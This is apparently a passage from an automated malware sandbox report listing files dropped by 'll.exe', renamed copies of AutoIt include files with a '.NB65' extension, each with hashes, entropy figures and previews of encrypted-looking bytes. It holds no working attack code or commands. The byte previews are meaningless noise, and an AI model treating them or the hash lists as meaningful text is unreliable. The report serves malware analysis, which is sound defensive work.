Preview:l...f._....g....."......./8.N.......b...5H.]9.=lI8g.L$..5.5..M...fVPQ..2'.E.^.....4.>...R.T.\!L6j'..~z.`.`./...c.q5.y.E......U~..].p.)..w.4Z.v..._. ..S.h.dw..0.~.g.%.qj..Z...`.~..x......L}..B(..r..4.,.O.......,.l<1..N..4..Z.....A|-z.e.I.*..V.'.hd....w....Vg$.9..F.H($\7.._\.G.q..W.>..b............P...V.uW..=. .v.4......b..pd..L.Uo...........T.G._..=..3.....=........u....M..E.=.>.N7...#....T_J$ $0k.)....[|$.M/.}iA`E..m..p.C.=E....G.dy.......L...D..+.Q6R.W.5........M.-z.......+8.&...t...ef....U.A<..,.(...@8(^..vV......{.pK.T....A.y.:.64.......-..".b,....}...z:.....<<Y...) L..).I.......W3...u.....a.V..1......7..i..'.s..+<*_....lo.?....Y........)>..(5... .<M..\...*Fmj.n.7.5.Us.B.gx.K....M.Z.)..6.a...O>....r....y.a..Z7[....|v..j.~..R.....NA..9.%5.X.k!.V&?...y.*-|.v.s7._..n....>A!.ml%.....e.U.Z?.v.d.Y....W..S^.%.$,.(...6..N..t.#3...$. ....].H..p<.#.Z.OV~;.W<...<%))]..^.-UN&."1|.4..U.3..;...7..*.?v...q.Y.f.F.:$.Ha..F~...i..Y.<...K..C...E..>....

C:\Program Files (x86)\autoit3\Include\Inet.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):15655
Entropy (8bit):7.986785908921785
Encrypted:false
SSDEEP:
MD5:5B1246D4821258E043E894F1FAF371A3
SHA1:CE3D23CE1DB0D1AFE5EE23F8BC266DE60BA73262
SHA-256:C06023B2E9E22D0F38CA793A7EBC9854BD3A0930C7D58EACD8C92C298EA8E9B5
SHA-512:9DF7CA2E159ECE50BAA4B602E65B8DFD18BD5E30C0003CE91731847EE4B60D9071342D2F4951F6CB30324DD365884251BC86EC030C3C059DF307B4842DA0FBB5
Malicious:false
Preview:....l..3wh...wL.. ........>..`.I&.KKiL%*....K.!z.Q.v_R.%.t.}.#.6}^k.q.Iu@.&....a..........Z.X........+...X.?;l..z.y....Z.0.....1 ...u........j.c.gG...4..q..E.A`.y.Z..C.zuH.A.V..@...?6.J.!.{..k.6......@.....Y..].F.>..N"..oz...-.......X...3.&y.C.M.x...P^j.5..J..2....,e.,....6....|..........sf...%.s.=_..)...\.......[.Z~Nm'....f...g.B...(#.X.1;._....C[.%...........Z..$Xp..w~....n.f=.)".R.$...A.d..$2d..G.&b].]..r.-;[_.Z.w%Q....R&.UZ..m}Go..$..[.U>p...=._0.m.2..n.T..I.#U.~.z...W.u.8..q.U.......O...<JA.....f.;.....5%.L.WP.....g.mp3..fv..l.`br\..O..!........L.^nBc...t.Du..d.Qd.2...$/..(cI.[...!.Pj.c.W<..W......D...8.4QgU.]u....f.\../f.Qa.5.~n&^v..4T...X...N.Z.....JR........OL.=.|......`.jk..3...\.$...........&..'r|h..QH..;..U.-..l.9.W\`..f.3.Ty<...".'.......3.f.#.........Q..#.!./.(H.Kyj..h7.m..qn.....t..8N.....:......bc..Y....y..W.pD.....b.AR..mVj....xn..,H....O....z+..a..t.0\..ZbQ.....4@.e.@....C.s.h=.B..:.{...t.2/...Z]k.EjQ..k.......#.\..i.&[...X..

C:\Program Files (x86)\autoit3\Include\InetConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1830
Entropy (8bit):7.880775722012918
Encrypted:false
SSDEEP:
MD5:A028216E075EAD734EF311F8223A50A3
SHA1:1561516F951ECE4ABB9FB8AA3367BCBF470AB3D5
SHA-256:201C72BFD7C4D9B85227178309D5F523D39456017C0E8A08DA3B46C802470636
SHA-512:2C450A1E55CAB4F234CFAB2D44FF54A63ACD2DFD8F237C232175131322B586F0CDCBE50D0145184316A50A48C4E7A82966CE514C3C67D925F1A2182AFEC55591
Malicious:false
Preview:U$....w.jld.{l.2T/.\..Yz..Oq....jMW.cMXR....!L..k...a.5C.o....5.A>.j..HvD.L.u.V2.).h.......'..Q.j../..,..20e.P..e.r..a......i........f.F........._.......i%-.....#....V.{.>lI...^do..H.....r.<.l>d>..]..................{.an~..%......>..].rT4v:...3....6EM.We.....C..v....tF..'......Qy....g...;.........T,....0@.EB...,.........>.=.[....8....A.5..h..U0Nn2..c@7.<....Y;..K..............."....Z...\.......@.;~...bN.....H..Ms!.<.$._.+j.....Ni.e..p.......R.u1.Jt'..0_.f43c:..!.i.X..o.{DlI.h8.<J...} ....8..s.kg....Q]j.%..s.....pO...IR..........P/#F@.Y.V"......zK..!.k.......u.(.H.&.....-....T}.bv..........MWo.vy*.6y..t..[....M....d..6z+.l...c...].5d2i..3.L...#......J/PE....f....R-\.al.>..1...:....]....-.Q....F..<.c.y......^....^1..s...+.\.....s/...]S.p........u..'4........u...;.4.*..=..a3&0.-.r<. ...X.H..~.P>#..df......}..].+...{XB.JK8{@z..iu.^..M.w.....W.I0Dn.Z.@...g\YV...G.B.$.z.D*.`.|!Y...$d......._a..,.....h....4yFf.7...<..C....^.....

C:\Program Files (x86)\autoit3\Include\ListBoxConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5558
Entropy (8bit):7.965194862049446
Encrypted:false
SSDEEP:
MD5:3AA3A610236DAD4B1C38F04CA8F782CB
SHA1:6D0B1F54A653B407CCBE3E53A6D04F20A9A67934
SHA-256:021CE099C28AD4AB95CD54728FF39665E81C65AC6B128ADCEE9BD0A602FE15C6
SHA-512:6F1BECB8A349030BAB9AF47C3A7527AB95E413D9471C2332B6AC84E23ED0267EFBF97A92D5CC188DFC480F9DC9E03EA23593DACFDCF09226A9D936F37617993C
Malicious:false
Preview:$........4.]2oE.C...4{.....,......qJ..#e?.......m.:ZZ... ....!.t.$.u]K$'*H7....P.._E.....XnX.ufA.?...-....F^.{.]..........~L/..."F......&9.g..c.F;...@.O...<.m...Q.._.)b.'x...S....E.....M.....7.X......7..]Vg..Rof=.m.O...sm.....9..Q..TDC......9QY..FL....=.+...8|2.rH.d..T `.l..S.T.......o.[..Y%..y.....U}Q......N..S..R..z.%.Po./..*..#.fw.DR~.V....!.,.7?"(...J...N.>.O.Z..._..6V.&..z..@46A..H..m..............<_}..t.."v~.\e..bX,.y.g{.{x..B.4$...8..v.m.T.........18#.Lz..I.D....|G.0a^'..?u.`...)./...(.o.&.b.....GV2>..OU.8.7.RR..n3..9......_.....W_..DE..FS..N[.g.!i.Yc..w.... 7A......w.T.".*`$.j..hZ..&*o.Z.]?...s...)....@./{XB..T.)iD.p..6.i....96.Y.$..Up.%WV.l..55.M.K..a...0+.w...>....}.Ke.gR9..#.d^.P./........u-.<..6..X...n...A..G.!5..._.O..F.$..=".W..R.t..n.p...G...Jh}...%....m.7..._..8gs..".@.?.d#y.&e...[.u&......n.I..T).L.?....jt3...Q^m.w......+Qiu.....0.o......j....w.mc.;H.oGE-./..z..../$\.G.@g..e.?|...dO!A.&.U..'rY.S+...I<..9!d.9j.'..\..\..BJ..4..'.n..w.

C:\Program Files (x86)\autoit3\Include\ListViewConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):23754
Entropy (8bit):7.992017637594841
Encrypted:true
SSDEEP:
MD5:F5C161A51690004EFD2B3BB642122154
SHA1:68DC848BDA36D40D28AA341677A0995FC04BC316
SHA-256:A6A0E60370C6DA9E8E31A5E60AFD2C2000DA5458B27BABF292E82F9B4E3C9343
SHA-512:66724517307E1C9B28A0FF65E584175402202D0B9F4E757020A74925839C106BA1277C8F79A4BA6E7F5359D4C9A5BB6412B33CB854ADEF7B7746ED515765A459
Malicious:true
Preview:^....K_..J..!.e0{...t...............}......o....N...q..*.cP.9]qW.@.jE..>:..z....HLg*..#.....0Uv..U..B&ow...-......uF.G@p.9x..14..:.s(...>.......T.N.:R.C.....5.y......C....m..SB...D*.......J.=.R$_j..}6...q..pU..mm....k..<o/..87..kT....qP./$_L...66..... . EL.+S{.....Y{..n..?.h.(...So-....i.+@..on..|n.. v'{.7C.N../.l. T....gI.=5...bO......[..y.aWLp..Q>'./l...dPJ.$....4..1.........X...G.........nH..I...b..5........jdnZP.q........rr2....3..._.....3E......^lg..b..m.V:...A..U..O.z.. .....\...`z.BP6.8.+:s....K.[<9..I(..."l.X.....I.....wt]..y...-....;..E....*(..$...:r.....SH.P..6eh.^iK...c..#5...(...i~.l5.-'..K?.h.R.y....#..../....=.3>.....j.R'.Q:.8 ...).5.Z.....j.c+..t.....G..j*r.>).2&]..!#/xt.Ij.&3+..^..q=.G.O@..f+.t....:Y...U..6.....9.O.`.D.x>....X...U3gA.........I........J..4..&....g/.e...;..L3....3..^...^H......e.:.k,&.(.Q|...<{.V.?Y..........O.....5..T...yt.]..vp....<...W.(.o.X...B......3T..&3\..I....L........`l..h."1....\..o....Z.j

C:\Program Files (x86)\autoit3\Include\Math.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5181
Entropy (8bit):7.966970625817279
Encrypted:false
SSDEEP:
MD5:018F950A33547CF1370686C198DE2B1F
SHA1:79B381665BB2C55E4EFC3E89A730CF985F108E78
SHA-256:ABAD60444FB1EA2F3E7E1AC9F7533C1C920DA1FBDE96ADDA7466E1AC5F70AA98
SHA-512:600E4272084B4954AF126366B6127D427126B3F460DE492DE610FC1FD7AB78EAE9203311A8209E0E271E4DEF8F8F5BC93CE77941D10735C96FA7FD9680249E0C
Malicious:false
Preview:TO...l....2N.K2.-\]"rp..o...Q......w...E...3e...<.6..l.....HsB.R...W..7..VK.....?!}......}Kz!2..w..y..]^.ow.1...a..@.S'..j=b..V.k...`......J..k..l....7..k.....Y...'.b.Y'}..ip.Ak.....A../.87.....?..\Ddc.,;.=...........?0.[.g%....R.n..........N....n.E..'..U...T..O...k. ..>.b.e.5.EI........#J.u...O...55.>.[..%.......\....z.`:@Ii(........S.."........4-.U....t_.^...{....................6V/tM.V.4.{.\k.h.$3i.`..2.$.T...Wa #w.<^.z3..d..6rw0.@..@a).....B...C...x..w.< ...>H#.......7...{4...O....0f.o.z+XW ...g.........Q.....|.....$....G.+Q.$V.....<xl. .&.PY.}:..j._{.MG..F..l......W...WoOr.....C....G>$f...-9_.E.k......).l.... ...0V......O...h.....8..^n.p.$..O&.(...&.^..9[.+..fQ..4.&.|.x..mN.sH=...S.7....n.}.i........O..."..h.?.F..>.F.k....i...J..8tB...i..";.I.{...J.{.?T.GN.Qn..r9..pQ!...z....V...I.]..|.....0. .)....t.(X5.... .)...W.."..\wg$.r.l$...:..B..A*|.....D.%/..N.`.M_...<x..D....-..Z.;\..H(Q.............[Q...............;..".r..B.P./.cs.h^.Nx......

C:\Program Files (x86)\autoit3\Include\MathConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1460
Entropy (8bit):7.858433742437183
Encrypted:false
SSDEEP:
MD5:E9D7B5DF6CFC70EFD616ACF5936C87CD
SHA1:E08427853FCAAC6AB3077847A6C0B86EA2B72AC0
SHA-256:DE4373F003FC648773A56F6FC969D6B429CEA5A017A936F086CE511239EB9016
SHA-512:80E2690FE42584E8E91BC4A9A4D49B06ED29D1EF65D71BC07EBD13A433AA0A2FD5BC8E7F72BEA8D005BA84CC6BCD4508982C11ACB28C4AF1637D039C69BE8BF8
Malicious:false
Preview:...?D.{x...M.B....."..S...F...&U.*.v..ST1.5......H$(..y/....#..w)..8..r..8..;q~.lO_....e+a..$-.^..Y...:u..x.w_Rh.....O.O.bgO3._...v....i.W...}.OH.xh..|`......E%.Lc.E.UEg.E...4:#.B.%D.4..S...eY.K =...w.P%...'....../.@..[H.5q......z..2m.\)u..(.qs47...E~D*rGol.S............ s..3.......j.5.X.:...7...(..>..fW...........r>TUZ1F{.(.........w%....K..+...3.3.(.[.D...^o.D4..wUh.....m...q.;.L..\..t.&..2.g.a.O....,0$J.......G..*..+.>ry..j..1_..0.....e}.=.G.A.....s.....%..e0..N..e....uCi..+i...{..U...C..7.zu.7..zH.D..b.!.;.jQ|.%.......#.v...H..'\m......`(h..P+.L.;........Q.H..........G...Y..r....GI.ot.'.X._.A.._g..{..7(...A.....w.S?z..........f...1......S.....zS6./..-3..a.#.v..rR.Mf.e.X./...Al..3...M...1..)28....8.l..F`..qd.#Rnp.l.FL.f.=....nJ..v.wh....M...K[..../J)..Epncy.8.w]F..jN.]}a.xg.....$..o6M..r!d...7T.A../.....O...w.A....2^s...2jZ.#...1j.....N..........ZF...C...V.4......A..Av...+Kr......(.Y.'.I....+..}...L..s.)y-.....&z...h}<..fl....<.Bz...

C:\Program Files (x86)\autoit3\Include\Memory.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:COM executable for DOS
Category:dropped
Size (bytes):17884
Entropy (8bit):7.98946569066623
Encrypted:false
SSDEEP:
MD5:4F6F7A7D3BAB16038D72D0D1BB41AAED
SHA1:78D12DFDC6B417CE0E1E42AECD57EB3597791A8D
SHA-256:C6142B4D4CB47CA4F28D8602A591E8B56AD8BEB7D3E911A4AF6CA1DC94CC39F5
SHA-512:FCE783CE96C36E153DE3CE2DD4FA8D79D9D306CDFBF51FD62800EA40690B581DB8D2A1571246FD654E6A27BB90EC782BB4038D725469517709F2CC8BAE469855
Malicious:false
Preview:..>5V,2?....f...l,m]..L{......I...............(.O.l...#...<.x.H.D...9..D..D...S......N.....9.=R....[yo.......f.../...%QV...C....,Jj-s.6.[.>~..CH_".N...O...b3.E. XR..'...[0P.#.......5..E....~.;v..3.kj....N.MI.[....cWfK.X....ttB...R..fNd@.v..z..sS.>.z....P......Q......OT/.....V.....}.?.f.....D...VN.0./.W.. ..Rg"?Qz.l...EN...^..{.H........;.J...j.UY....iq.....x....:.c..:..B+.,....R.4....u~>.W....>.$a.m5...T3z.>.g.y\$...iv.v..E.K...:.7./>.9x..C..u2TW....'......)..l...2U....@. |.s..;}.EB4.9..F..-.!.<l.eqs....ol0..yu.......2.1..)..Fkw...$.x.p.C....fg..H#A....d[.6.B...>....2o......r.+v...k..o.....=..SY...k...*...u...U.....5#.{..u.D..U.t...A&..SD.......UF...4,..H..mX.l.{..............[.Kt.u3...SE).~...e...h/..q.....Jp!Dc...Tne.y..r.1N0.R.8.3C.\..>LYl....$...8.......h)..B`^V..3%V....PXL......g...p..0.T.......J..Q.T...-...f0..(.F.,S..XS.6.I...Y....z..l......O.?..o..<.w,..1P.... .%k3...@i..3.."..lK..<...c.+.L4.\.......e...../...)..1.|.}G...

C:\Program Files (x86)\autoit3\Include\MemoryConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2967
Entropy (8bit):7.938045781566989
Encrypted:false
SSDEEP:
MD5:60E64B60C5CF0D7AF69952DCCCD3125E
SHA1:CC88E8C7B70DE2E068FEF485434CE35486C6F51A
SHA-256:F2B4A20D893DA6698493A38DC6A17574A523D189D8371D84CADF4BE2AEF88D18
SHA-512:E7DFC0501487790696D6DC86204A2A8611D1AAF08AC9D4B2275C98837BAE4F02C46EDDF51B38EF1AF79E945E925212622C039C2BEE7CA4696A29B86A632BD0EE
Malicious:false
Preview:.kY}p.=..i...........o..I..]F..ax58V.p!.h...6........C.i..E..<P`x....z/...1.......C...v.'..j'ss...r..oU...r.|K..y..~~.....N../."`D$XC.Sw..8..,E.....6...F...F...5.x..B..s..y.;.F..Ft.#..].F....e..&.V.iw.A.;x......Z...........drF..I...x........s....*...:...9.#`;G....*Y.G5R.{..-...h..t...D.....9)....f$....<.x0...OF......*.......8#.......a..v...._.......9..E........ .-C.`cE...P.@...1.G.??..D.D../{.OP.H...<(.....#.a...K..R.. ...._..js..v..r.zoX..B..t( .l...;.}.O.....)._...........<.^2.6mK.kH..F...6.RL.....X.VF......L.'./i...850.!.H..2...!)_^_W...S..}.if6.C^TN)...)...-...+.h....KJ7......Q...\.-z.$N.bB_.=G7..Q..(...w......y.Y2.Y.h.V#-.S.c...zs..{...7......X|D..GhJ .].u...}..Z Q..*y&..B0.^jN.3.(:.0O..s.g........\i.M..0..H0.....+.`.m...5i.XO.....o...c.L..M.[~..R.g..5X..)S..O....."t.j..T..>?hO I...[eJ.*..5i-...i...n...+....:.uL...x.ic....?.E.<.a1.^G."..yR.R..akL...8f......1.../{d......!..=+..u.......z%.)E......4.T.f{+vq...l...../6......F

C:\Program Files (x86)\autoit3\Include\MenuConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5428
Entropy (8bit):7.961151902968092
Encrypted:false
SSDEEP:
MD5:9F3AB8E995D95E6AF11DCEF32B8381EA
SHA1:59E4481D081F23BBC3CFED4FEE1C7A673E7198F7
SHA-256:BA51C2DEE62DAE60BF6EAC8DAF0B50E1A23C83BE6AEF1BCED136778886D27DCA
SHA-512:D495D64CA0AC5E5988754CA88A8585F935ABB5D9FEA36B51C0F281830C719E07CBDE84FEC2D076FEA0C013A44CB39BB0A99645A18C67955CDECA3826D8866038
Malicious:false
Preview:..].9.B.1.|g.......hI....)`j..R.9..S_~..YA+<D.....Re6.7....kV}..Bt..Rx.V........)..... .......Qd.Z..d?.....gU....:.......M7........Z..a...........Q..@..............t.H7...W.a.....QN....G..BFzU...%.l..f..]..1...#-@..!..1.}!.(~..B..$a..p..=...@..).....U.}.)....rt+IL.6Jm../.PT.Wy.]...r.........[d.tQk...@.....v2/"p....p..........W....D~p^.3.H.....E.#..X....E*<.HQ.~.9!....C'...Kf....m........7B..)tL.$.7.o.v..U..."...A... W....=?.(.......dT..'-..].]..^.....S.F..Lj. .m...V.RO+7;....j..^.....6.F.l..!.....O...h?6s.V|}..-.}bX).......p...]..SS...!..:...#!.p...........l....=.k.q+R...5.Z.".*.m..d#t0..~.g.\.CQ3...^......?n.o...H.s[S.0....Tc.*..M.2c../.,v... .)kn..D..E....y-.%PV.....$.f.2D...?s...IN....E.XB.[]5..I....(8.M.x.....ef6.....I..X\....:.......3.3...^PjF......o.........s7(.]....[#..u..G...n|[....#....l.S..\).0v"6..m....T1...F.......Q..........f....Q...+.7...E.S...p6...0.k..sz........X(u...!........v!c=f.E..%JR..52..D..|.ot..W..f....B6....

C:\Program Files (x86)\autoit3\Include\Misc.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):32500
Entropy (8bit):7.994112507417558
Encrypted:true
SSDEEP:
MD5:9EEE45BEE8FB0E10EFD1D5E2AEDC7353
SHA1:0D2313C2B6FF8BAA7587FD8899FF9BD09E0C19B1
SHA-256:3AB43862ACAC30CF2A73F41F7BDCA2ABDE7380EC7A680006562BEA090F94C594
SHA-512:F5584F4B03C008DE88D793269ED9650A717A7627152632A342E8D678A04EA1687DE2F65137E20B8C039581610E98D9BA4D518D9360BF5373FAC09E8F9AFEC9C0
Malicious:true
Preview:...o.....A{..g.:....1..._....7E..~..rQ. .g.N}u..p.px.\N<....fr...}m>.B...X5.(A&W;...>...^....4|R...b.w..C8.z.....,...*....C\e......+!@...e.. .....mw5...hH\.....\.....S..@M...`...z..\."..=...D.....qN.k..-u...9wv.L..Z...n...O...~./GL...c..j;.r"u..c...t..h.....;&..-..+i.........S*iRV.....h....?.....$.|I.........f*V.6Z".#.+$V......p.%.A.qu...#(.+x.?.....:..h...hLi:2..6...b.Z....TR..^x.@...`.........6....~&.#........9.}.Q._...Nup.b..%^.=Bb...$.....9.#.O.....]..a...k.|Q....m;..!2....#0.Bmhe._(Z...%....*.8....D.P|. ..'....0..].....O0-.....K_V..R..^=..i\.1Pi...u. ./%.hc."..;. .?...+G.(..[.Q8ZW&.R.j..6.n....y]>...D...'6{.)....n8..Z..{.Cy.fN.#.$.c.l.....}.%...y4!....d.A....1*.ot}..r.B...5H2.. ...h)6.6B .....t...!..#.OS...Qb..6..$../..~>S..E7?c._....g.Bm.z,..;.KN..=...d....+..X..G.g<.Z...hpc.^...j8.D..26.t..k.[.'...<BZ#.....Y.P7.0...:'....e n$.Z.9.Z..J...V..H.P.....5. ..JC..E.....X0.[d.....D..U....W..-.."&r.[a...r.........>.8.z.n......Z.Q./..

C:\Program Files (x86)\autoit3\Include\MsgBoxConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4654
Entropy (8bit):7.95485900472652
Encrypted:false
SSDEEP:
MD5:87FBECEE7E76BE19DE1EA8D157770A41
SHA1:5E93907A663C160B31C005F54CE26164F1530E7F
SHA-256:8E93C7486D1BB693DF4F92E0C58C9D4EABF6EE6FF039A2F01F10D6591C4CBF8A
SHA-512:2C84BF1CEC93610B39AB07DAF168A2CA5F13B4859D97FDE6C24337C664E24D10F3EB90B694FB8F0E28C8D869FBF8964978B5448F31F14D99F5E6210F1E61AD5A
Malicious:false
Preview:.U.9A8..6$..Z...Hj...3.N....fd0.+..|:nr..."sG.r=d..v.- .kj x>s.P.....J.H..%a...-.`2.....,.6a.'z ...j].........?o.h..r...~wQ...B....I.....K;.^..`%.*..}...y.....\.....).v..y.Ha....m...F..@.j.8...`q....mN..)....V..q....e.=5s7A2^F....I.J...r.~:.......z&..n.....bF.d.U.......Ba...5....U..L..Uz.)u1...p,;..+y>......U....9.ocb.,.'YFb.a.-@I.Qjq.8.[.S..<...3K...eqM..;&.IUY...`.|6.V4...(..e5^ZY..\..6..+.....b)...%....N.o.}....{/^a/.6%r6g..4O....U..*.@,-...,.5..~Y"...pbL.hn..W.g ..S.J.q.>...p...........U..&'.0@.)..X...>....Q.0.A8.i}.e.......9.D..'..K....^\4...4.6e...>......`'.Nn.L.2..^..''b.B..Qv8..(..1zR.....kp.w...f.....k3+..EIq..s..`b.u../...hk`..k.d...bB.Ol.....F.x1......Z.D...r&... i..=.)...;......].tx...q..a:....(Qu...Ss.....Eo..~.J!.j.....N..A.3v9.......%r;.........S..".EV.....g...!.Q.....z.D..I....q...i.20...(.8c.}.F.Ea.*2...O.}......k.L9M...?.a.....ob...9..v=b..i..:.E...p...I?d...Z.s...6|.? ...p.....R.2*...A..!..qx..Q....Q...\.w7LV.f.JG......

C:\Program Files (x86)\autoit3\Include\NTSTATUSConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):241208
Entropy (8bit):7.999170040960783
Encrypted:true
SSDEEP:
MD5:6413F5BAB7D454D7F6C6315AD1EB7921
SHA1:E3B3218C470D44F0F14881E01C7036BBB2C90385
SHA-256:D7CE20EFFAE2992028628AA3F45455B95DB6467F8DAB5DCF9DA224A61CB7A260
SHA-512:0BD7C29DE9D243953514352CFD7AC6C171045ADA62C87CD1553A2341902803B5208E466CC2D6EAA55E4B918E4455CF711DE33A179E5C2425BFB4ED6917EDE4E3
Malicious:true
Preview:...E...&`ep+.R........u]U.....*.a."1Mk..4.....%...8.uF`?fs}...M !^7C...-.....R.....Aa..9.e.Z.d.H...}.{..I..S;.+~$.fb...1{h$.[.8W.....p.Z3...=cp..}..j.b$..9~.....N$:q..+.w.<Y..6D....v..*.-...ob..< ..}.........qS&.`*t.....K.......{.$0!!h.g.....[..#z.wOE.;a..YB.6i0.&jt...}......H.!....m..b.....a..l1.c6.B_s.c..R9M.._.]x@.....J....'..........M.j..N.c...w!...U..7@.3s...B....`.......Z.m.*..R..jHZ.x.,:Q2./.....L.L.^...HF..,$...,]...C.............7.Ll*0..1...M....3=... .y<s^.p..3O.. .%..}..>0....I.S..x...n.........L.z..$...6d.Y...<D,....oS...7.n..L...E..m.@...5.s.&._.ok<y.!z.t....K......m$.....i......6...V}.C.9.}.../....CL.{..e"..s..ga.`.2..@....\..@a./.,.^q..,.g.....=..*.p.P]6.2....t..(..9:...;r7'...~.$3...c..g.]I...O.P......axw.Z......0....R8.o.,..OY.#d.L.4B=4..qp...B.b.g._.....`...w.r.zuF@w.x.....@.^.^V....1:..*.v+k..P... ...6F^.tl.i.......L.....P.....@a.......[T................8..C.j*CS.o.`r..>e...>..X.x.?u.02'..0.......k..A.,..J.l....@{...W.sj

C:\Program Files (x86)\autoit3\Include\NamedPipes.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):14559
Entropy (8bit):7.985627517031547
Encrypted:false
SSDEEP:
MD5:7B06CFDF14483553EA76BFD744FB417D
SHA1:38B7398EE5871E6D85DCE863C26ABDEC36E8FB5F
SHA-256:41DB64D7904E9E6038B6C4D650677F25CCB004DA28163A6A673514A99B655665
SHA-512:9E840107FD4A28A6277B7814C20C157F3B09C03E35A61B2F1E46F7F2BEEC58E3D446A084260F32C1FD3A72F4546819412B8828651FB2FBF65E547D8BD2230C81
Malicious:false
Preview:.*..(.^.....7.4....%.y...Q.'j8R...I..R..9U+.38.....0...Y7....t:.qh^.p..i`@.......%.>b..VS5.....5L<....:...)}O.k..L..k.]..8]5....hH......&..]...{..k....9..Z.o./..W....6.u~.WY!.D...mW10.6p.i4..:^gG".W+> M.N....3...aF(...%.E..[.HO.../.R...;.e......O|._I..Fk..&.....5...eG.....xB..Sf...iH!t@2Ze:..^.....o..3.9X...`..!U.%._`....z.dH5.d.....{............R...A\gw..g..b..y3......g..Cf.u..eprl/...9o.,.7...8...LB......'q..T......2.|.B)...t..._.P.....A..<..z}b.{D.o,. uN........U..,w..P...0.1A.vU..#....gO..*........Hx5o%.L..MUw....&..A..v...^.........V..:L.j.H.".....E.69$..%...S....&...t..'..+fX:XJN^....<..Y.`w....I>>...j...Z....]....h}..S..U...w/..".....A-}...c..."..O..)..T.....6.z.7xb..y..=...X..z...A(...5.W...&.L#..cLA.z...|<M)9D1.J:...Q.T..SH)..VZ.F.....[w.np%s..Q8.).ss.9w...p...J.OJ..d......p.,..;........?..bD..#.OM].~V... ..GK.Q..{..w..V..[Zt~.>w..9.....u.Z_T'rxLm...TC9.'.il..LQB.1*....}.h..........k..W9/.6........Z..G.SO..S.1....}9...Ln...d...(.

C:\Program Files (x86)\autoit3\Include\NetShare.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:COM executable for DOS
Category:dropped
Size (bytes):46341
Entropy (8bit):7.996271681273717
Encrypted:true
SSDEEP:
MD5:3E047DA5C80211C1624866EED09E5BBB
SHA1:F61A30F15C29771C849F9C272C09DF808BA31872
SHA-256:42D5D30633CD5282A4C14157638751247CDF0A794E61AAB77BB6894D2C2B26C4
SHA-512:6D36B26A361782FAA51DA02D7F134438B12E1883169F5F77552B97E5A01A57F94354A46E1996644D9A2F4BAF5E1BB9AE87FFB4E7AE73E65A6615714C3F081DD1
Malicious:true
Preview:...CC;[...qN..\.G.{6..$.gB.91......r...n....v.4R....K_......AZ.i...i:..G..4..q......w...\.k......l..+..'..pC.....MO`d.W.X.......{6.Q..f{...].S..r..{.q.....B|.'..w...1........}r...{].k.OX.flKN..N.zu...j5q....X........E.|.P.D{......:.|..%.%Um.P ...8$.HH.x.b.\..W^.9...B.....y...U......0.....~..\rAAcG~..e'.R..E.s.t.h6./WI}..+....p.S.O^..}R.......h..........!P.7.)..S.s.2.#..........2u.....#[..>Lb.sa...A3.J.O=...N..V.F.....i<...B.}>.br.=.JLi.&..qv.XO...IM?.T.n...4Y.....FS.....z...P..z%p.h.qay..Y.m.....I....._).-z6....-.c.w.D.KGS\.i......FQ4en..m......{...r..}~.f........K..o..!&.oeQ...L....^....b......0.......]..R...;..!d......+SY.....Fi3..N[L..t.VM...q.AkU.~......8...k..E....".uQ..+.6l.o.n...xM.[....1..Gy..7u<J....|.........c.\A.//:$+......n)F.m[..i]r..(....oA.D..b.......z#.p..UD..f.{...}Z....v......).o.....e67...a6A....J.b.....V...jY...?.O.*....._.i...(....at..u.b..19..s\A..U.7.....=.h}m."+...x.o..k'>u...I1...b..Bum..^^{)..D...?.....

C:\Program Files (x86)\autoit3\Include\PowerPoint.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):58251
Entropy (8bit):7.996991485983261
Encrypted:true
SSDEEP:
MD5:CD496A6A5CF0C684C2C8DB79A57AE20D
SHA1:5CE4D001E8C6C23FD707ED2B0103D99D1893629D
SHA-256:6739BD021B009F6A8DFFBE88CF994716AC72DA7BC37CBACA27B00DBD78D7E867
SHA-512:061A29430640CEA7FA45A726EEFDAFD76341FD65AA4F37B5E03F0E92053172D54FDC9708F4580398F16251CFEFD3592F25A694223FFE01417A85CFCEE487679E
Malicious:true
Preview:.n.>.e.dztH..S.y..l....S`..J.u1p\v.q|.....w.k.l..A)7.-....v..z~.}..<F.Se.M...;'....z..1....g;... 1.n4."..g......j;..fp.._.....-..d..&\~....g.`..E+.2...c|..`.....[R/+YWY.^..$.......%9..J.N.Z/ek....t..c..-6...7nrp........m..d.=..A;.ep.%w...)Jz..2l.Q...*rU.V..v+1.....Y:..V=..B.W.Y#..=%..0.D...T.v.WZ..Z...m.k:...}L.\;d...t ...]..W.......]e...fr.......v...8D.._..=9.e.72.D._>.t..^.D.......X.....qP@Xv]1d=d..!..}4j.1...@9,....Y.)MO~..8.[....#A<.=....&........,XS...[.....,.7.U_....6.[..uW(.....2.....}c.r;..2.%.~*Xv... ...22..I.7...........>..C..I.h.........o.P.....O..U.?.].2....gF$.m.. .B5..yW1|.......@.ovK..RT..[&....>d....Z.....H!......'{../.#g.%e.....d.....f.....A.N.l.w...+Wh.".$H..$.~....:.<2...hP....K.JJM.|7N....&...r[!....\Z..}.r.Upu.~j.W..0.)....U.....V.^r. 